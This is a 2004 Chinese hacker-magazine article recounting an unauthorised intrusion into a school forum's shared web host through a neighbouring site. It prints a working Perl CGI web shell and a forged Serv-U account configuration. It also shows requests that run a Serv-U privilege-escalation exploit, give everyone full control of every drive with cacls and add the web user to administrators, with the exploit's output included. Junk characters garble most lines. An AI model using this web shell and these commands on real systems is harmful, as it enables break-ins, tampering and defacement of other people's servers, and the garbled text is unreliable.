剑走偏锋——灵巧的旁注攻击 : w$ V( m" Y) g0 d' j
本文作者:angel/ E4 n7 v7 Y9 P5 M0 `
文章性质:原创. n. C* b5 h# L. x6 K$ I: A+ N
发布日期:2004-11-09
: b8 r+ I. ~3 e( Q& b注意:& P7 B3 \2 E" P7 P b5 J
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。" c5 @2 V. J6 n6 b4 ?# e% P
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
8 s+ B2 U- I! n2 \; ?: x! ]& G3 Y9 G* _
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 " R# k! L: }4 [# y$ Z5 k0 c
: t! f8 T- q$ [* X6 ?1 E
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ( J. e: a3 D! S2 I+ n- x2 e
/ k1 `* U2 b: ^9 d/ i2 M' A
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
2 q; @2 V* d: c; ^8 m* j$ e- y1 P e5 k& x8 V- I
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
/ u2 V) `$ h/ V2 l% ~/ _& Q: r; k8 j
7 {% O* Y$ G0 l8 [/ U3 y7 d 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 7 g% q3 T$ J* y+ \
3 W) C7 X1 q7 u# e8 p 没有目的的跳转目录着…… " E K' F; D5 t$ E: s
( z* |2 l, a M" x* d1 e 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
9 t! }% l4 x6 M: {) a9 _5 \# r- { j4 l% Q
结束了吗?不,我试着 FTP 一下: 0 ?' e- ^# C+ `8 s7 \% @
9 j2 }/ P% O" B* X8 Y" X j/ E
Microsoft Windows 2000 [Version 5.00.2195]; U: z- i6 n+ [5 {7 _( E
(C) 版权所有 1985-2000 Microsoft Corp.
8 I6 w2 A4 y7 @; h; y" z* _7 w
. H! c1 E: v! ^. Q0 k" vC:\Documents and Settings\Administrator>ftp www.school.com
- x' j3 V. }6 h: y( Z9 P9 }Connected to www. school.com.
6 ~5 @6 w; w" Z A220 Welcome to FTP Server... 9 V/ {2 G/ x% p; z4 P0 A; J) W
User (www.bjtrq.com:(none)): $ U( y- Q' p2 K/ U H; @8 ?7 R8 E |
331 User name okay, need password. * X( F% w4 H0 x4 t: y3 C
Password:
* H% z+ `. M0 _3 B! m8 s530 Not logged in. 8 d) L5 ?" Q, x2 | c
Login failed. 0 w7 U9 l# s: k+ b
ftp> bye
1 ? Q5 T' F8 ^1 f9 L221 Goodbye!
; y4 N0 S( o- H , {3 }( u. z% e& Y# [8 H
$ y2 @" b1 H8 j: n$ T 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
I$ H1 C1 f. _7 \3 n, F0 I' D( q: \9 s$ M: |# F
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 * t3 r+ p' a0 P
" A* g" ]: ?. o7 c, W U
Application Data
: ~9 R- p, N) y, D$ n4 D, Z5 yDocuments
8 `0 c- q [3 D8 z+ { @DRM
1 e3 k f, C: x% u( |Favorites$ t) E7 m. Q+ | N
Templates& S+ n- C, E S' N; R+ v
「开始」菜单( R. F& m) B. S' j3 o2 e6 x
桌面9 t9 o) f- C: `$ s
' u q- O l4 R# O7 ?
6 X8 l2 u& J [8 h3 S. j& z 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; l3 [& ^& Z% ?. V+ T* N
; b4 X0 i9 q* ^3 q& u2 DActiveState ActivePerl 5.8
0 Z) y4 I: F: ]2 P% TAdministrative Tools4 _/ n, r" B5 ^
Deerfield.com
5 A* `" g; y9 ?; T' I0 s. ?% cDTemp
% Z( m" r# X) F/ r( QIPSentry
# p. l( p7 i1 ]+ eMBM 5
( Q- t+ y+ p1 M7 U% c" gNetMeter. o! N8 n: ~* b# A
Network ICE
; Y% {# J G4 \: O/ m( \4 S% sPersits Software AspEmail
" }1 l9 F$ I8 ^* \Persits Software AspJpeg
1 |) N. w" \2 _# MServ-U FTP Server3 f" ]0 n1 k. X* Q# r @/ ^/ K; u
Symantec Client Security# R. E$ T) Z/ |7 R0 x* q# y* O Q. k
Windows 优化大师
% o) Z/ Z5 E, S/ V/ U& VWinRAR
1 b/ X" t& P* p+ A启动
7 M; M5 k; f) {+ V* x+ A管理工具/ F# s" F* U8 p% V6 e& U1 h7 @& J1 s
附件8 e+ i0 ^0 V; y9 r) w2 N- i- `+ D
; G+ K8 k( O" e6 G0 q: \0 L
X9 |9 D; Y- k. r4 A. B
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
' L# b- r" N l: U0 V9 B9 e5 K: s# T8 m6 q/ C' r. B
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: / Z; e1 t' H3 p4 X# B$ a6 t/ p8 C
2 N4 Q: l5 r: Z- M9 h& qUser281=angel|1|0 ( Q/ f- `0 \3 X+ q
6 @& g% a( v: d* e
9 H6 \6 P! g8 d
然后加上 0 i4 n( F. { ~( p# ~
9 M E8 p6 e, u5 N
[USER=angel|1]
. s- V4 @1 d( I) f% d; q' u% X aPassword=ng98F85379EA68DBF97BAADCA99B69B805
X; U+ X3 H3 tHomeDir=D:\websites
( l6 \% i+ t$ Z& x) rRelPaths=1
" j' G% n2 s+ D& k% O) ~1 R( {: O" JTimeOut=600# S" t1 J8 |4 w6 e' Z1 _# ~& {1 \/ D
Maintenance=System' k4 s1 S$ Y5 m& {% E- R, ^" }( }' e
Access1=D:\websites|RWAMELCDP1 V; J3 n" h! v
SKEYValues=0 e/ l1 c7 }( e
+ b2 s8 |. Y7 Y9 D# @& a% ?
! W# _8 H ^2 f( u! E' b 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… " S2 p/ m+ c; f& b1 s
/ Q; P% ?" \4 p. H 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 e- k& U- O) U K+ L* Y [# x4 p5 T+ s: `
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 * f( |7 ]# |5 A& Z
5 l7 L6 C& M* Z7 Y
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 5 I2 A1 Y# e+ Y- x0 x3 I2 n" I
/ k4 F# F( T% Q' |+ \#!/usr/bin/perl
* |4 T0 e* j4 R% m* t1 }" w8 R9 dbinmode(STDOUT);
( O- ?4 m* N2 z! r! Jsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
- y7 Z" G5 G3 Q- \+ k9 V$_ = $ENV{QUERY_STRING};
& b. L: w' K; _* e& k- hs/%20/ /ig;
1 n3 e# y& i0 G9 Q9 N! A; D9 ts/%2f/\//ig;* l* L8 U; m( g- M2 F; O
$execthis = $_;
$ y4 F$ J9 N p; Vsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);" \) E7 F. J+ H. K* B( ]
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";5 s- F7 B+ P7 O5 Z+ ~# s
system($execthis);0 r' ]$ r! l) G. D" u& d
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);( M$ |0 g* x: z! w" D" e# \& h1 D
close(STDERR);
3 q0 X! S- J* h+ R |1 P, qclose(STDOUT);+ b8 b$ q" I6 ?# E
exit;0 }% N/ e, [1 J7 t/ k5 N( D
4 M- P' n g( w O7 m" e4 m
. P& I8 y& v$ E4 s 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
- b( p- I% w' V ?& c( c0 \2 ?( u5 ]4 B& `
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
p( r( _ W9 h# G+ E+ s
" v2 c0 J5 a) S& Lhttp://anyhost//cmd.pl?d:\user\bin\su.exe 0 w% M3 m& F3 A3 E
' A& z- _. ^0 F" w, \ q3 T; Y
6 w0 d5 @, ~5 [- D- | 返回:
# I5 v1 b" h. S4 v' N0 H% _ j, s* F! {
Serv-u >3.x Local Exploit by xiaolu * o4 b, Q3 ]' _: k) L7 R+ q7 i
1 n! O6 P5 P3 P. J& N& Q nUSAGE: serv-u.exe "command"
/ j6 i' ?- K, t3 X8 d# Y" U( T9 n
( e1 o4 E$ Q x( `$ uExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
% n @# ?. {5 g/ Z7 o5 n
@2 L& C, {& U# `
T6 Q. X+ ] y8 G4 C. t3 o 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 8 p3 V1 {( ?0 f# F+ @6 \
1 [" H' T0 y! e' z- W% L6 D2 Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" & K# X/ k4 p. H% w. t) R5 f2 a
! t: T- p; j( l( @$ R, |& Y& x1 Thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 5 Q7 Y1 y! W" b; p
3 L3 }6 F2 u3 ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
: i: @7 |0 }) J) `
! R- ?! ~. H9 v3 a* N3 \6 _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
( Z# a5 A7 H. U/ R+ R g \
" k/ c) R3 g' f4 S$ N! K
. e* i( Q5 U7 W. D4 m& P- | 返回下面的信息,就表示成功了!!!
) u% ?6 e Y5 B7 A0 B: g2 A$ W9 U0 z9 v
Serv-u >3.x Local Exploit by xiaolu * I& f+ `& a* z6 O- o% G0 {8 Q
$ t* h: u2 k: a l<220 Serv-U FTP Server v5.2 for WinSock ready...
# K8 ~ T* J2 A- _1 `
+ C k$ u8 e) C" ]>USER LocalAdministrator
. n& L$ z1 \4 |# }2 ]7 M/ ^; X! B" |
<331 User name okay, need password.
Q) t# e/ y% [8 h
p$ X/ r; ^' E; H8 s****************************************************** # y9 K9 m; D) n$ f( ?/ x) n
: P6 X3 E5 u& F9 S
>PASS #l@$ak#.lk;0@P
, V: m# J% \+ @- ~) b
- C3 O& e. q* j! z4 k6 k, C<230 User logged in, proceed.
! Z" |2 B2 b0 Z9 K0 {* L
' G. `" H; \5 G7 y9 r3 K****************************************************** 0 s) B- y0 z7 |3 }; M7 r/ A8 M0 r
8 S! T. T' ~$ f6 @- M
>SITE MAINTENANCE
8 k& j$ c7 n0 }. ]% q) b& j2 p& U5 p6 ] `1 j6 x& z" V; C+ _
******************************************************
* U6 T( p# ^& y
" ^3 O w7 j2 d/ x. i. |[+] Creating New Domain...
" t% C) K+ M! f! l5 q) k4 t$ z& }% f6 s& x8 x
<200-DomainID=2 % l& Q9 ]; G) ]
# `7 \! G$ U; @<220 Domain settings saved
3 r, N6 C% l3 ?6 [' f& r
" Q4 S6 r6 z) ^' u# ^& I H' c******************************************************
8 c4 g1 {* ^5 [( a# A. r
2 ^+ |/ n v( u[+] Domain xl:2 Created
% j& f& c1 B. c6 J8 o2 e; x" m# _) F) }7 `( d' V) H
[+] Creating Evil User
( @2 `- \5 C! t- T8 g/ A0 Z8 P. k( X+ U3 l+ `" v8 d
<200-User=xl
% }5 j( T, S& v7 A6 ~" z/ \1 e: n8 N& A2 K
200 User settings saved
* O, [1 Q& E( N8 E3 ^, h0 A5 M5 B5 [( P# g5 c6 _ h
******************************************************
, `, ~( d- [5 ]2 ^4 \0 e- l! z. |
9 y8 {7 O/ L. n$ g[+] Now Exploiting...
% K S" e3 _' ^; y4 ]. u" a+ J7 ~* N. P/ I: B3 b7 K
>USER xl ( [# Q: W8 \) C5 h
. n) |5 H. U9 T1 L- C6 O7 l/ r0 `" y<331 User name okay, need password. 4 u1 O. n2 ]) }/ {
$ e4 R% f2 o/ U3 w****************************************************** % a, g" p. u9 ~. w7 E2 X
# j$ Y* O+ ?6 P [$ @, q>PASS 111111 $ B5 @; Z$ n+ J: Z+ `: P0 N
7 z: \; t7 h1 F& l: \. Z2 U! C
<230 User logged in, proceed. 3 E8 U4 ]5 O6 Y L: h \
/ h& ~! ?" J% V" z3 x1 e8 i******************************************************
t% C* I9 R2 z: B0 U( p
; b4 W9 x s6 v0 _[+] Now Executing: cacls.exe c: /E /T /G everyone:F 2 V( C3 K0 b) T/ W8 {
" m4 H' | u( u# U<220 Domain deleted ( F/ |5 V8 N" k' ?( y
. p+ F, b2 r& S( g
******************************************************
" X7 G, }! e. `& D+ s d' I% M, x : k4 y% u% }8 @; z6 G
0 l6 a4 v' v" J9 |, m0 s 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: & z/ C8 V( K2 m* L& O, ]$ o
1 a& @6 K" l3 V0 x3 i* g
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - `4 @9 W4 T) w. }. H
W2 a" {& Q5 ~! }
7 C" _* p2 {2 a! n8 {; M 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 4 F7 ?! t3 @+ \" N/ V
! S8 |6 c7 }* Y" {7 |/ f2 J7 V4 I
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
0 C3 h3 N& @9 @) Z* Y 6 I% E( F$ f( m7 c( {+ ~
8 ~: s+ H. x1 y1 a9 _7 Z |